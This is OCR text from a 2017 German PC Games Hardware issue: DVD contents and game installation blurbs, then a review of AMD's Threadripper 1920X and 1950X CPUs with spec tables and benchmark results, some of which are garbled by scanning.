einem neuen Sockel will man Intel die Performance-Krone entreiBen. Wir zeigen, ob die Threadripper-Plattform das schafft. 
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Bonus-Vollversion Bonus woe 
® Sudden Strike Gold Weitere Infos a 
DVD-Vollversionen 


® Edna & Harvey: Edna bricht aus 
® Edna & Harvey: Harveys neue Augen 
® Bridge Constructor: Mittelalter 


Videos aus der PCGH-Redaktion 
Jp PCGH-Retrospektive 05/2009 

29 CPU-Undervolting 

29 X299-Mainboards 


Specials 

29 Begleitmaterial Radeon RX Vega 

3» Begleitmaterial Undervolting 

29 Begleitmaterial X299-Mainboards 

Tools 

® GPU-Z 2.2.0, MSI Afterburner 4.4.0 Beta 16, Nvidia Inspector 
1.9.7.8, PCGH-VGA-Tool 1.0.1, Sapphire Trixx 6.4.0 

Jp AS-SSD Benchmark 1.9.5986, Cinebench R15, Fraps 3.5.99, 
Prime 95 29.10, Super Pi 1.9 

® Core Temp 1.10.2, CPU-Z 1.80.1, HD-Tune 2.55/5.60 Trial, 
Speedfan 4.52, Sysinternals Suite (06/2017) 

Treiber 


® Geforce 385.28 WHQL (Win10 x64), Radeon Software 17.7.2 
WHQL (Win10 x64), für RX Vega: 17.30.1051 Beta (Win10 x64) 


Wissen: 


PCGH Retrospektive 05/2009: 
„Perfekt Aufrüsten", „Spieler im Visier 
von Schadsoftware" und „Green IT: 
Stromspar-Spezial" waren einige der 
wichtigsten Themen der Ausgabe. 


CPU-Undervolting: 
Overclocking-Experte Stephan Wilke erláu- 
tert, wie Sie mittels Spannungsabsenkung 
Strom sparen und ihre CPU kühler laufen 
lassen kónnen. 


AR Ў 
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Sockel-2066-Board mit X299: 
Torsten Vogel stellt die im Vergleich ge- 


testeten Boards für Skylake X ausführlich 
mit ihren Stärken und Schwächen vor. 


Die DVD läuft nicht? Kein Problem! Schicken Sie eine E-Mail mit Ihrer genauen Anschrift 
(Name, Straße, PLZ, Wohnort) und der Ausgabennummer 10/2017 unter dem 
Betreff „PC Games Hardware: DVD-Reklamation" an computec@dpv.de. 


PCGH 01/2017: Umfrage 


Liebe PCGH-Leser 


rs gut gefallen? Wir wollen es genauer wissen. In den 
ligen Artikel gefallen haben - oder auch nicht 


Kommentaren können natürlich auch gerne erkären, warum Фи 


Die Umfrage ul anorrym, es werden keine personenbezogenen Daten daserthaft gespeichert. Alle Angaben werden nach 
Auswertung der Umfraga gelöscht. 


Feedback im PCGH-Forum 


Im Online-Forum von PC Games Hardware kónnen Sie uns bequem Rückmeldung geben, welche 
Inhalte von Heft und DVD Ihnen gefallen haben. Dazu starten wir jeden Monat Umfragen und 
ein Feedback-Sammelthema. Durch Ihre Teilnahme helfen Sie uns, die Themenauswahl von PCGH 
besser auf die Wünsche der Leser abzustimmen — die einzige Voraussetzung ist ein kostenloser 
Foren-Account, der mit wenigen Mausklicks eingerichtet ist. www.pcgh.de/feedback 


Wie fanden Sie die folgenden Are? 


Thema « 


Test AMO A10-6700 ° 
sowe DX12:APUS 
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Bitte beachten Sie, dass wir im Heft u. a. aus lizenzrechtlichen Gründen keinen direkten Installationsschlüssel mehr abdrucken! 


Diesen erhalten Sie, indem Sie den Key auf der Codekarte (S. 66/67) auf www.pcgh.de/codes einlósen. 


Vollversion: Edna bricht aus 


Edna bricht aus ist das preisgekrönte Erstlingswerk von 
den Machern der Adventures Deponia und The Whis- 
pered World. 


I Mehr als 20 Stunden schráger Humor 
I Jede Menge witzige Charaktere und verrückte Dialoge 
I Einzigartiger Comic-Stil 


Edna wacht ohne jede Erinnerung in der Gummizelle 
einer Nervenheilanstalt auf. Wie sie hierher gekom- 
men ist? Sie hat nicht die leiseste Ahnung, doch eines 
ist sicher: Sie wird zu Unrecht festgehalten und muss 
ausbrechen! Immerhin fühlt sie sich geistig vollkommen 
gesund — auch ihr sprechender Stoffhase Harvey stimmt 
ihr da vollkommen zu. Gemeinsam wagen sie die Flucht 
und treffen auf skurrile Mitinsassen, vom Mann im Bie- 
nenkostüm bis zu den siamesischen Zwillingen Hoti und 
Moti. Doch Dr. Marcel, der Leiter des Sanatoriums, lásst 
nichts unversucht, die beiden dabei aufzuhalten. Was 
hat dieser bóse Mensch bloB mit Edna vor? Und warum 
kann sie sich an nichts erinnern? Nach und nach erlangt 
Edna mit Ihrer (und Harveys!) Hilfe die Erinnerung an die 
Zeit vor ihrem Aufenthalt in der Zelle zurück... 


Installation: 
Für die Installation ist eine aktive Online-Verbindung 
und ein kostenloser Steam-Account nótig. Wenn Sie den 


Client von der Heft-DVD aufrufen, startet Steam automatisch und fordert Sie auf, den 
Installationsschlüssel einzugeben. Diesen erhalten Sie, indem Sie den Code der Code- 
karte (S. 66/67) auf www.pcgh.de/codes gegen einen Steam-Key eintauschen. Haben 
Sie den Steam-Key dann eingegeben, startet die Installation von der Disk. Wahlweise 
können Sie Ihren zuvor eingetauschten Steam-Key (s.o.) auch direkt über Steam einge- 
ben und das komplette Spiel herunterladen. 


Minimale Systemvoraussetzungen: Windows XP, Vista oder neuer, Ein- 
kern-CPU mit 1 GHz, 2 GiB RAM, DX9-Grafik mit 256 MiByte Grafikspeicher, ca. 1,4 
GiByte HDD-Platz 


Darüber hinaus empfohlene Systemkonfiguration: Zweikern-CPU mit 2 
GHz, DX9-Grafik mit 512 MiByte Grafikspeicher 


Wie auch Edna bricht aus kommt Harveys neue Augen 
ebenfalls von den Machern der Adventures Deponia und 
The Whispered World und verspricht, ein ebensolcher 
Spaß zu werden wie die Vorgänger. 


Klosterschülerin Lilli ist die Hauptfigur von Harveys neue 
Augen, dem Nachfolger zu Edna bricht aus. Das auf den 
ersten Blick äußerst brave Mädchen erledigt gewissen- 
haft all ihre Aufgaben, egal wie ungerecht diese auch 
sind. Die unschuldige, gleichmütige Art, mit der sie ohne 
zu reflektieren den Anweisungen Anderer folgt, hat et- 
was gleichsam Tragisches wie auch Unheimliches. Jegli- 
chen Ärger, jegliche Kindlichkeit vergräbt sie tief in ihrem 
Inneren. Und falls doch einmal etwas Unangenehmes in ihrer Umgebung passiert, gibt 
es ja immer noch die fröhlichen Zensurgnome. Die pinseln all das rosa an, mit dem 
sich Lilli lieber nicht auseinandersetzen möchte. Sie sind also nicht nur lustig, sondern 
auch extrem praktisch. Aber sind Lillis kleine kartoffelförmige Freunde echt oder nur 
ein Produkt ihres lebendigen Unterbewusstseins? Es ist wohl nur eine Frage der Zeit, 
bis sie irgendwann einmal vollkommen überschnappen wird! 
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Harveys neue Augen ist ein klassisches Point-and-Click-Adventure mit knackigen Ràt- 
seln und mehreren Stunden Dialog. Nehmen Sie also erst einmal alles mit, was nicht 
niet- und nagelfest ist — wer weiß, wofür man es später noch einmal gebrauchen kann. 


Installation: 
Für die Installation ist eine aktive Online-Verbindung und ein kostenloser Steam-Ac- 
count nötig. Wenn Sie den Client von der Heft-DVD aufrufen, startet Steam automa- 


tisch und fordert Sie auf, den Installationsschlüssel einzugeben. Diesen erhalten Sie, 
indem Sie den Code der Codekarte (S. 66/67) auf www.pcgh.de/codes gegen einen 
Steam-Key eintauschen. Haben Sie den Steam-Key dann eingegeben, startet die Instal- 
lation von der Disk. Wahlweise können Sie Ihren zuvor eingetauschten Steam-Key (s.0.) 
auch direkt über Steam eingeben und das komplette Spiel herunterladen. 


Minimale Systemvoraussetzungen: Windows XP, Vista oder neuer, Ein- 
kern-CPU mit 2,0 GHz, 1,5 GiB RAM, Open-GL-2.0-Grafik mit 256 MiByte Grafikspei- 
cher, ca. 3,5 GiB HDD-Platz 


Darüber hinaus empfohlene Systemkonfiguration: Windows Vista oder 
neuer, 2 GiByte RAM, Open-GL-2.0-Grafik mit 512 MiByte Grafikspeicher 
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Nur als Code in der 


Sudden Strike spielt im 2. Weltkrieg und wartet mit 
ausgetüftelten russischen, deutschen, franzósischen, 
amerikanischen und britischen Missionen auf. Die 
fantastische Spieltiefe, die großen taktischen Móg- 
lichkeiten und das hervorragende Gameplay werden 
Sie nicht mehr loslassen. Erobern Sie feindliche Stel- 
lungen, gewinnen Sie den Häuserkampf und fordern 
Sie Fallschirmspringer oder Jagdbomber zu Ihrer Un- 
terstützung an. 


Erleben Sie bis zu 1.000 Einheiten pro Szenario, über 
40 Missionen in drei Kampagnen und einen Multipla- 
yer-Modus mit bis zu 12 Spielern, verteilt auf 4 Teams. 
Abgerundet werden die umfangreichen Spiel-Features 

von dem ebenfalls enthaltenen Karten-Editor. 


Sudden Strike Gold ist eine Neuveróffentlichung 

eines klassischen, sprich älteren PC-Spieles. Es wurde 
zwar auf einer Reihe moderner Windows-PC-Konfi- 
gurationen getestet, unerwünschte Artefakte, etwa 

bei Grafik und Sound, oder sogar Abstürze können 
dennoch auftreten. In solchen Fällen sind Foren wie 
die Steam-Community die beste Anlaufstelle für Unter- 
stützung und Hilfe. 


Installation: 
Bitte beachten Sie, dass sich unsere Bonus-Vollversion 


Vollversion: Sudden Strike Gold 


DVD-Version, nicht auf 
dem Datenträger! 


nicht auf dem Datenträger befindet, sondern rein über Steam angeboten wird. 
Den Steam-Key erhalten Sie, indem Sie auf www.pcgh.de/codes nach Auswahl des 
Spiels den Code für Sudden Strike von der Karte (S. 66/67) eingeben und ihn dort 
umwandeln lassen. 


Sudden-Strike-Fans, aufgepasst: In der übernächsten (!) PCGH 12/2017 gibt es 
„Sudden Strike 3", ebenfalls als Key-only-Vollversion. In der vorigen, über den 
Computec-Shop unter http://shop.computec.de/pc-magazine/pc-games-hardware- 
abo/ noch bestellbaren PCGH 09/2017 hatten wir „Sudden Strike 2 Gold" im 
Angebot (ebenfalls Key-only). 


Minimale Systemvoraussetzungen: Windows XP oder neuer, 2 GHz-Dual- 
core-CPU, 1 GiB RAM, DX9-Grafikkarte mit 256 MiB Speicher, 500 MiByte HDD-Platz 


Bridge Constructor Mittelalter versetzt Sie einige Jahr- 
hunderte zurück in die Zeit der Ritter und Burgen. Kónig 
Harald von Siebenbrücken wird von den Scharen der 
barbarischen Urks bedroht, die das Land geplündert und 
sich in fünf Heerlager eingenistet haben. Nun muss er 
seine Armee in Marsch setzen, doch es gibt ein Problem: 
Die Versorgungslage ist schlecht und zu allem Überfluss 
sind die Brücken zerstórt, über die nótige Vorráte und 
Material transportiert werden. Da der Hofbaumeister 
verletzt wurde, wendet sich der Majordomus an Sie! 


Bauen Sie stabile Brücken aus fünf Materialien, um Stadt 
und Schloss mit Vorráten zu versorgen. Im weiteren Ver- 
lauf müssen Sie Brücken derart listig konstruieren, dass sie unter der Last anrückender 
Feinde zusammenbrechen und dabei möglichst viele Urks mit in die Tiefe reißen. 


In manchen der 40 brandneuen Level sind Sie auch vor Kanonenbeschuss nicht sicher 
— hier errichten Sie stabiles oder flexibles Tragwerk, um die Kugeln abzuwehren oder 
abzufedern. Schützen Sie Ihr Fußvolk und die Pferdekutschen durch überdachte Brü- 
cken und besonders stabile Pfeilerkonstruktionen. Insgesamt stehen Ihnen mit Holz, 
schwerem Holz, Stein und Seilen sowie neuerdings auch dem Brückendach gleich fünf 
verschiedene Materialien für den Bau der perfekten Brücke zur Verfügung. Daneben 
gibt es in den neuen Spielmodi auch für alte Hasen in Bridge Constructor-Spielen viel 
zu entdecken. 


Darüber hinaus bringen die einzigartigen Bonusherausforderungen auch die Gehirnzel- 
len erfahrener Spieler zum Qualmen. Beispielsweise dürfen Sie ein bestimmtes, noch 


Kein Code 


erforderlich! 


strengeres Budget nicht überschreiten oder müssen eine höhere Anzahl als das Mini- 
mum der Feinde mit den Brückenfallen in den Abgrund reißen. So werden in Bridge 
Constructor Mittelalter Anfänger und Brückenbau-Profis gleichermaßen gefordert. 


Installation: 

Bei der auf der DVD enthaltenen Version für den Bridge Constructor Mittelalter handelt 
es sich um eine DRM-freie Version, die über keinerlei Kopierschutz verfügt und auch 
zeitlich nicht begrenzt ist. 


Minimale Systemvoraussetzungen: Windows XP oder neuer, Einkern-Prozes- 
sor mit 1,8 GHz, 1 GiByte Arbeitsspeicher, DX9-Grafikkarte (Shader-Model 2.0) mit 
512 MiByte RAM, etwas HDD-Platz (ca. 92 MiByte) 
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AMDs Kern-Armee 


AMD Ryzen Threadripper 1920% 


AMDA 


RY ZEN 


THREAD 1 > PER 


Nach dem Ryzen 7 greift AMD mit der TR4-Plattform und den martialisch benannten Threadripper- 


Prozessoren den Konkurrenten Intel nun auch im High-End-Desktop mit bis zu 16 CPU-Kernen an. 


is zu 16 Prozessorkerne, vier- 

kanalig angebundener DDR4- 
RAM, ein neuer Sockel und Preise 
deutlich oberhalb von 500 Euro - 
mit Threadripper ist AMD zurück 
im High-End-Desktop und entreifšt 
Intels Core i9-7900X gleich mal die 
Performance-Krone in Anwendun- 
gen. 


Nische? Ja, und? 

Der High-End-Desktop ist eine Ni- 
sche - nicht jeder gibt 500 Euro und 
mehr für einen Prozessor aus und 
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auch die Infrastruktur ist dort deut- 
lich teurer. Diesen Markt hatte Intel 
seit vielen Jahren für sich allein, 
bis AMD mit den Ryzen-7-Modellen 
Achtkerner mir-nichts-dir-nichts in 
die Mittelklasse verfrachtete und 
die Konkurrenz damit in Zugzwang 
brachte. Doch ganz oben, bei zwei- 
stelligen Kernzahlen, da war die 
Welt für Intel noch in Ordnung - 
bis jetzt. 


Mit den „Ryzen Threadripper“ ge- 
nannten HEDT-Modellen bringt 


AMD zunächst zwei neue Prozes- 
soren: Der Ryzen Threadripper 
1920X bietet zwölf Kerne, inklusi- 
ve Simultaneous Multithreading 
(SMT) werden darauf 24 Threads 
quasi parallel bearbeitet. Kosten- 
punkt derzeit: Rund 820 Euro. Eine 
Nummer grófser ist der Ryzen TR 
1950X mit ganzen 16 Kernen und 
32 Threads für den knapp über 
1.000 Euro fällig werden. Später soll 
noch ein achtkerniger Threadrip- 
per und - Gerüchten zufolge - eine 
X-lose Version des 1920 erscheinen. 


Diese haben wir der Vollständigkeit 
halber ebenfalls mit in die Tabelle 
aufgenommen. 

Threadripper wendet sich laut 
AMD allerdings nicht primär an 
Spieler - auch wenn man speziell 
in hohen Auflósungen problemlos 
in die Spiele-Zukunft sehen kónne, 
da man mehrkernmäßig auf alles 
vorbereitet sei. Dahinter steckt das 
Wissen um die Problematik der 
Kernskalierungen. Denn selbst 
Vorzeige-Spiele sind oft mit acht bis 
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MCM VS. MONOLITHIC 


MCM approach has many advantages 
- Higher yield, enables increased feature-set 
— Multi-product leverage 


Wo yo yo yo. 
CCX CCX 


EPYC" Processors 
- 4x 213mm? die/package = 852mm? Si/package* 


Hypothetical EPYC Monolithic 
- "777mm? 


Remove die-to-die Infinity Fabric PHYs and logic 
(4/die), duplicated logic, etc. 


– 852mm? / 777mm? = "10% МСМ area overhead 


CCX CCX 


CCX CCX 


CCX CCX 
Mo 1/0 wyo 10 


Inverse-exponential reduction in yield 


32C Die Cost 32C Die Cost 


with die size 


- Multiple small dies has inherent yield advantage 


Diese Aufstellung begründet AMDs Entscheidung, auf ein Multi-Chip-Modul zu setzen aus ókomnischer Sicht, da nicht nur der Entwicklungsaufwand geringer ist, sondern auch die 
anfallenden Materialkosten in Form der Quadratmillimeter-Fláche. Die Verschaltung auf der rechten Seite findet beim Threadripper so nicht statt, da nur zwei Dies vorhanden sind. 


Aktuelle und kommende Threadripper-Modelle in der Übersicht 


Modell Plattform | Kerne/ | CCX-Konfigura- PCI-Express- |Basistakt| Boost (al- Boost | XFR/2-Kern- | L3-Cache | TDP Preis 
Threads tion 3.0- Lanes le Kerne) | (4 Kerne) Boost 

Ryzen Threadripper TRA sp3 16/32 4+4 (Die 0)/4+4 64 (3х16 РЕС) 3,4 GHz 3,7 GHz 4,0 GHz +200 MHz 32 MiByte | 180 Watt | Ca. 1.040 Euro 

1950X (Sockel 4094) Die 1) (max. 4 Kerne) 

Ryzen Threadripper TRA sp3 12/24 343 (Die 0)/3+3 64 (3x16 PEG) 3,5 GHz 3,7 GHz 4,0 GHz +200 MHz 32 MiByte | 180 Watt | Ca. 810 Euro 

1920X (Sockel 4094) Die 1) (max. 4 Kerne) 

Ryzen Threadripper TR4 sp3 12/24 343 (Die 0)/3+3 64 (3x16 PEG) | 3,2 GHz | unbekannt | 3,8 GHz unbekannt | 32 MiByte | 140 Watt | Vermutlich ca. 

1920 (Sockel 4094) Die 1) 549 US-Dollar 

Ryzen Threadripper TRA sp3 8/16 4+0 (Die 0)/4+0 64 (3х16 РЕС) | 3,8 GHz | unbekannt | 4,0 GHz unbekannt | 16 MiByte | unbe- | Vermutlich ca. 

1900X (Sockel 4094) Die 1) kannt | 699 US-Dollar 

Zum Vergleich 

Ryzen 7 1800X AMA 8/16 444 (Die 0) 20 (1x16 PEG) 3,6 GHz 3,7 GHz 4,0 GHz +100 MHz 16 MiByte | 95 Watt | Ca. 440 Euro 

(max. 2 Kerne) 

Core i7-7820X Sockel 2066 8/16 entfállt, monolithi- | 28 (1x16 + 1x8 | 3,6 GHz 4,0 GHz 4,0 GHz 4,5 GHz 11,00 140 Watt | Ca. 565 Euro 
scher Chip ür PEG) iByte 

Core i7-7900X Sockel 2066 10/20 entfállt, monolithi- | 44 (2x16 + 1x8 | 3,3 GHz 4,0 GHz 4,0 GHz 4,5 GHz 13,75 140 Watt | Ca. 940 Euro 
scher Chip ür PEG) iByte 


zwölf Threads zufrieden, skalieren 
darüber hinaus allerdings nur noch 
schlecht. Selbst integrierten 
Benchmark von Ashes of the Singu- 
larity Escalation wird der TR 1920X 
nur maximal zu 60 Prozent belas- 


im 


tet, was grob circa 14 Threads ent- 
spricht. Viele, speziell ältere Spiele 
kommen gar mit vier Kernen aus, 


setzt auf ein 60:40-Verhältnis zu- 
gunsten der Spiele. 


AMD erfindet das Threadripper- 
Rad allerdings nicht neu, denn die 
Sockel-4094-CPUs sind anders als 
bei Intels monolithischen, also ein- 
teiligen Chips quasi aus mehreren 
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profitieren dabei aber besonders Ryzen-Achtkern-Chips, Codename 

von hohen Taktraten. Und es gibt — Zeppelin, zusammengesetzt und 

weitere Stolperfallen, für die AMD entsprechen großteils den Server- 

aber nichts kann. Auch aus diesem Modellen aus AMDs „Epyc“-Reihe. 

Grund haben wir Anwendungs- Wie auf dem Bild rechts zu sehen, 

benchmarks in diesem Artikel in sind unter dem massiven Heatsprea- 

den Vordergrund gerückt - unsere der gleich vier Chips verborgen - 

Bewertungsgrundlage muss dabei das haben sie zum Beispiel mit den 

aus Gründen der Fairness und der maximal 32-kernigen Server-CPUs Ein ,gekópfter" Threadripper. Ohne den schützenden Heatspreader sind die vier 
Seriosität konstant bleiben. Diese „Ерус“ gemeinsam. Anders als bei Chips (2 davon „echte“ CPUs) samt Lot zur Wármeableitung deutlich zu erkennen. 
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Frametime-Verlàufe in Crysis 3 (Grafik: Titan X Pascal, Geforce 385.41, Zielvorgabe für Leistung 120 %, für Temperatur 90 °C): Gegenüber den Threadrip- 
per-Modellen zeigt sich, dass sowohl in niedriger als auch hoher Auflösung die Frametimes trotz ähnlicher Durchschnittsleistung sicht- und fühlbar unruhiger sind. 


Ryzen 7 1800X (Crysis 3, 720p) Ryzen 7 1800X (Crysis 3, 1440p) 


“= FRAFS Dench Viewer Notes: "m FRAFS Dench Viewer Notes: 
Statistics (entire file) 1280x720 Statistics (entire file) 2560x1440 
Avo- ате: — 686 (140 res) PCGH-CPU-Denchmark Avg. ате: — 807 (124 ГРУ) PCGH-CPU-Denchmark. 
1% timer 19,5 (95 ГРУ) Crysis 2 (DX11) 1% time: 133 (25 1P5) Crysis 2 (DX11) 
ол tme; 11,7 (85 res) Ryzen 7 1000X 0.19% time: 17,7 (56 IPs) Ryzen 7 1800X 
MES 2 K frames: (0- 2912) Titan X (Pascal) ЗАК frames: (0- 2474) Titan X (Pascal) 
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Frametime-Verläufe in Crysis 3 (Grafik: Titan X Pascal, Geforce 385.41, Zielvorgabe für Leistung 120 %, für Temperatur 90 °C): Der TR 1920X schlägt sich 
gegenüber dem Ryzen-Achtkerner zwar deutlich besser, muss aber im Vergleich zum TR 1950X Federn lassen — einzelne Ausreißer sind hier merklich häufiger. 


Ryzen Threadripper 1920X (Crysis 3, 720p) Ryzen Threadripper 1920X (Crysis 3, 1440p 


— FRAPS Bench Viewer Notes: pm АР Dench Viewer Notes: 
33s m 
Statistics (entire file) 1.280 x 720 Statistics (entire file) 2.560 x 1440. 
Aug, tme; — 741 (141 res) PCGH-CPU-Denchmark Avg. те: — 7,98 (125 ps) PCGH-CPU- 
1% time: 191 (99 FPS) Crysis 3 (DX11) 1% time: 116 (86 FPS) Crysis 3 (DX11). 
ол tme: 11% (86 ГРУ) Ryzen TR 1920X Säz time: 13,7 (2315) Ryzen TR 1920X 
s 2 К frames: (0 - 2812) Titan X (Pascal, 120% PT, 90*C TT) 2 25 К frames: (0 - 2502) Titan X (Pascal, 120% РТ, 90*C TT) 
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Frametime-Verläufe in Crysis 3 (Grafik: Titan X Pascal, Geforce 385.41, Zielvorgabe für Leistung 120 %, für Temperatur 90 °C): Der TR 1950X bietet die glat- 
testen Bildlaufzeiten und somit das ruhigste Spielgefühl aller AMD-Prozessoren. In Crysis 3 genügt das aber trotzdem nicht, um an Intels Core i9-7900X heranzukommen. 


Ryzen Threadripper 1950X (Crysis 3, 720p) Ryzen Threadripper 1950X (Crysis 3, 1440p 


pm АР Dench Viewer Notes: pm FRAPS Dench Viewer Notes: 
33m 33 
Statistics (entire file) 1.280 x 720 Statistics (entire file) 2.560 x 1440 
Фуд. ате: — 696 (144 res) PCGH-CPU-Dencheark Avg. те: 297 (126 ГРУ) РЦ 
19% time: 10,2 (эв ps) Crysis 2 (DX11) 19% per 11,7 (85 ps) Crysis 3 (DX11) 
Ол tme; 10,8 (sa res) Ryzen TR 1950X Säz time: 142 Demi Ryzen TR 1950X 
a 2 K frames: (0 2869) Titan X (Pascal, 120% PT, 90*C TT) us 2,5 K frames: (0 - 2507) Titan X (Pascal, 120% РТ, 90*C TT) 
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Frametime-Verläufe in Crysis 3 (Grafik: Titan X Pascal, Geforce 385.41, Zielvorgabe für Leistung 120 %, für Temperatur 90 °C): Speziell in der niedrigeren 
Auflösung zeigt der 7900X die eindeutig ruhigsten Frametimes, muss aber in Sachen Gleichmäßigkeit in 1440p Federn lassen, auch wenn er weniger einzelne Ausreißer hat. 


Intel Core i9-7900X (Crysis 3, 720p) Intel Core i9-7900X (Crysis 3, 1440p) 


rem FRAPS Dench Viewer Notes: we АР Dench Viewer Notes: 
sams 3m 
Statistics (displayed events) 1.280 x 720 Statistics (displayed events) 2.560 x 1440 
Фуд. ene" — 452 (208 res) PCGH-CPU-Denchmark Avg. те: 8,05 (124 FPS) PCGH-CPU- 
l% time: 74% (34 res) Crysis 3 (DX11) 1% time: HÄ) (66 FPS) Crysis 2 (DX11) 
Bim time: 815 (23195) Core (8-7900X 01% time: 12,2 (82 res) Core @-7900Х 
41 K frames: (0 - 4147) Titan X (Pascal, 120% PT, 90°С TT) | ЗА К frames: (0- 2481) Titan X (Pascal, 120% PT, 90°С TT) 
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jenen sind beim Threadripper je- 
doch nur zwei der vier Chips echte 
CPUs. Die anderen dienen der me- 
chanischen Stabilität und sind unbe- 
lichtete Silizum-Quader, sodass hier 
leider keinerlei Hoffnung auf ein 
Freischalten ungenutzter Ressour- 
cen bestehen. 


Neue Plattform mit viel 1/0 

Mit Threadripper setzt AMD, ähn- 
lich wie Intel, auf eine eigene, dem 
Server-Bereich entliehene — Platt- 
form, sodass die CPUs nicht in die 
bekannten AM4-Mainboards passen. 
Das hat in diesem Falle auch keine 
produktpolitischen Gründe, das 
Threadripper-Package ist schlicht 
enorm groß, setzt auf einen LGA- 
Sockel ohne Beinchen und erfor- 
dert natürlich auch durch das Quad- 
Channel-Speicherinterface 
komplett andere Verschaltung und 
durch die höhere TDP von 180 Watt 
wesentlich kráftigere Mainboard- 
Komponenten. Doch nicht nur die 
Kernzahlen sind bislang beispiellos, 
auch in einer anderen Abteilung 
setzt AMD Benchmarks. Mit an 


eine 


Board sind auch 64 PCI-Express-3.0- 
Lanes, welche insgesamt auf bis zu 
sieben Geräte aufgeteilt werden 
können - maximal drei davon mit 
Full-Speed-x 16 angebundene Grafik- 
karten. Genaueres im hinteren Teil 
des Artikels, wo wir zudem eine kur- 
ze Übersicht auch zu den ersten in 
der Redaktion eingetroffenen X399- 
Mainboards von Asus und Gigabyte 
vorbereitet haben. 


Zwei Dies à zwei Speicherkanäle 
bringen darüber hinaus die beim 
Ryzen 7 vermisste Quad-Channel- 
Anbindung für den schnellen 
DDR4-RAM. Allerdings hat AMD 
den offizielle Support für DDR4- 
Geschwindigkeiten nicht angeho- 
ben. Weiterhin gilt also dass nach 
Single-Rank und dem bei gleichem 
und oft sogar noch bei einer Stufe 
niedrigerem Takt flotterem Dual- 
Rank unterschieden wird. Wird nur 
ein Speicherriegel pro Kanal einge- 
setzt, also 4 DIMMs ingesamt, un- 
terstützen die Threadripper-CPUs 
entweder DDR4-2667 oder DDR4- 
2400. Bei zwei DIMMs pro Kanal, 


Anwendungen: Neue Versionen 


Blender 2.78a VC14 
AMD Ryzen TR 1950X (3,4+ GHz — 16c/32t) 
AMD Ryzen TR 1920X (3,5+ GHz — 12c/24t) 
Intel Core i9-7900X (3,3+ GHz — 10c/20t 
Intel Core i7-6950X (3,0+ GHz — 10c/20t 
Intel Core i7-7820X (3,6+ GHz — 8c/16t 
Intel Core i7-6900K (3,2+ GHz — 8c/16t 
AMD Ryzen 7 1800X (3,6+ GHz — 8c/16t) 
AMD Ryzen 7 1700X (3,4+ GHz – 8c/16t) 
Intel Core i7-7800X (3,5+ GHz - 6c/12t 
AMD Ryzen 7 1700 (3,0+ GHz — 8c/16t) 
AMD Ryzen 5 1600X (3,6+ GHz — 6c/12t) 
Intel Core i7-6800K (3,4+ GHz - 6c/12t 
Intel Core i7-7740X (4,3+ GHz - 4c/8t 
AMD Ryzen 5 1600 (3,2+ GHz - 6c/12t) 


y-Cruncher 0.7.3.9472 


pu 65, (-16 90) 

EN 77,3 (1 %) 

K—r<k 78, (Basis) 
p 88,8 (+13 96) 
EU 91, (+17 90) 
== 106,0 (+35 90) 
pum 107,7 («38 %) 
E 113,0 (+44 %) 
Ет) 
s 123,0 (+57 %) 
pu 138,9 (+78 %) 
m 140,8 (+80 %) 
m———— 148,1 («89 90) 
EN 149,1 (+91 90) 


Intel Core i9-7900X (3,3+ GHz — 10c/20t) EX 50,7 (Basis) 
AMD Ryzen TR 1950X (3,4+ GHz – 16c/32t) EN 51,1 (+1 %) 
Intel Core i7-7820X (3,6+ GHz — 8c/16t) EX 55,2 (+9 96) 
Intel Core i7-6950X (3,0+ GHz — 10c/20t) Eu 59,3 (+17 96) 
AMD Ryzen TR 1920X (3,5+ GHz - 12c/24t) EEE 63,1 (+25 %) 
Intel Core i7-6900K (3,2+ GHz – 8c/16t) E 66,1 («31 %) 
Intel Core i7-7800X (3,5+ GHz — 6c/12t) Tua )aÍs 75,7 (+49 %) 
Intel Core i7-7740X (4,3+ GHz – 4с/81) E 85,6 (+69 96) 
Intel Core i7-7700K (4,24. GHz — 4с/81) | 89,7 (+77 %) 
AMD Ryzen 7 1800X (3,6+ GHz – 8c/16t) | 90,7 (+79 96) 
Intel Core i7-6800K (3,4+ GHz – бс/121) 8 92,4 (+82 %) 
AMD Ryzen 7 1700 (3,0+ GHz – 8c/16t) E 101,0 (+99 %) 
Intel Core i5-7600K (3,8+ GHz – 4с/41) | 107,3 (+112 %) 
AMD Ryzen 5 1600X (3,6+ GHz – 6c/12t) | 119,3 (+136 %) 


3D-Rendering: Cinebench R15 


Rendering, Standard-Durchlauf, Single- und Multithread (ST, MT) 


AMD Ryzen TR 1950X (3,4+ GHz — 16c/32t) Imas 3.062 (+45 90) 
AMD Ryzen TR 1920X (3,5+ GHz — 12c/24t) MeS 2.459. (+17 %) 
Intel Core 19-7900Х (3,3-- GHz - 10c/20t) Mët wm 2.105 (Basis) 
Intel Core i7-6950X (3,0+ GHz — 10c/20t) H6S 1 305 (-14 %) 
Intel Core i7-7820X (3,6+ GHz — 8c/16t) ISI pu 1.750 (-17 96) 
AMD Ryzen 7 1800X (3,6+ GHz — 8c/16t) M63 | 1.639 (-22 96) 
AMD Ryzen 7 1700X (3,4+ GHz — 8c/16t) W5SIBSÇIIIISIKSEIIUÇCIILI9 557 (-26 %) 
Intel Core i7-6900K (3,2+ GHz — 8c/16t) ПОД E 1.483 (-30 %) 
AMD Ryzen 7 1700 (3,0+ GHz — 8c/16t) HMAS EEE 1.426 (-32 %) 
Intel Core i7-5960X (3,0+ GHz — 8c/16t) H39 EEE 1.329 (37 %) 
Intel Core i7-7800X (3,5+ GHz — 6c/12t) Igi 1.303 (-38 %) 
AMD Ryzen 5 1600X (3,6+ GHz — 6c/121) M6s EX 1.244 (-41 %) 
AMD Ryzen 5 1600 (3,2+ GHz — 6c/12t) IT49 | 1.149 (-45 96) 
Intel Core i7-6800K (3,4+ GHz — 6c/12t) M56 EX 1.114 (-47 96) 
) 


Intel Core i7-7740X (4,3+ GHz — 4c/8t) ШО EI GE 996 (-53 96) 
System: Intel X299/X99, 2170, AMD X399/x370, 8 GiB RAM pro Speicherkanal Punkte 
(Geschwindigkeit jeweils laut max. CPU-Spezifikation), GF GTX 980 Tie 1,38/3,9 GHz; b» Besser 
Windows 10 64 Bit Bemerkungen: CB R15 ist die Paradedisziplin des Threadripper. 
Video-Transcoding: x264 in Ultra-HD 
2160p-Clip (-60mbps), Profile High10 4:2:0, CRF22 
AMD Ryzen TR 1950X (3,4+ GHz — 16с/321) MOBS EE 38,7 (-21 %) 
AMD Ryzen TR 1920X (3,5+ GHz — 12c/24t) Pë E 45,5 (-7 %) 
Intel Core i9-7900X (3,3+ GHz — 10c/20t) E82 48,7 (Basis) 
Intel Core i7-7820X (3,6+ GHz — 8с/161) 16/99; 57,2 (+17 %) 
